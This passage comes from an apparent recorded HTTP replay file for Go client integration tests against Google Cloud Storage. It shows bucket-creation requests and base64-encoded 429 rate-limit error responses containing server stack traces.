mE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPXVzYWdlTGltaXRzLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9dG9vTWFueVJlcXVlc3RzLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWNsb3VkLmJpZ3N0b3JlLmFwaS5CaWdzdG9yZUVycm9yRG9tYWluLkNMSUVOVF9RVU9UQV9FWENFRURFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlBST0pFQ1RfQlVDS0VUX09QX1JBVEVfVE9PX0hJR0g6IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YToxODQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjQyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmluc2VydChCdWNrZXRzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1DTElFTlRfUVVPVEFfRVhDRUVERUQsIGVycm9yUHJvdG9Eb21haW49Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2UuYnVja2V0Lm5hbWUsIG1lc3NhZ2U9VGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5idWNrZXQubmFtZSwgbWVzc2FnZT1UaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuLCByZWFzb249cmF0ZUxpbWl0RXhjZWVkZWQsIHJwY0NvZGU9NDI5fSBUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UFJPSkVDVF9CVUNLRVRfT1BfUkFURV9UT09fSElHSDogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjE4NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6NDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IuaW5zZXJ0KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MjksIm1lc3NhZ2UiOiJUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuIn19" - } - }, - { - "ID": "49648eb4e4e2ddda", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "106" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjkwMDAwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 429, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12201" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UplUHmGCg4wOKtpKVz2KH0cn-th8s-KXQR62bOkAF1pV1zIZJvsoI_tURcFttkyHks8g05Hln5fT4Ej_O-Lx6JCTovYYwhhHIK7AAcialHMj5fPHk4" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6InVzYWdlTGltaXRzIiwicmVhc29uIjoicmF0ZUxpbWl0RXhjZWVkZWQiLCJtZXNzYWdlIjoiVGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVRPT19NQU5ZX1JFUVVFU1RTLCBjYXRlZ29yeT1RVU9UQV9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnR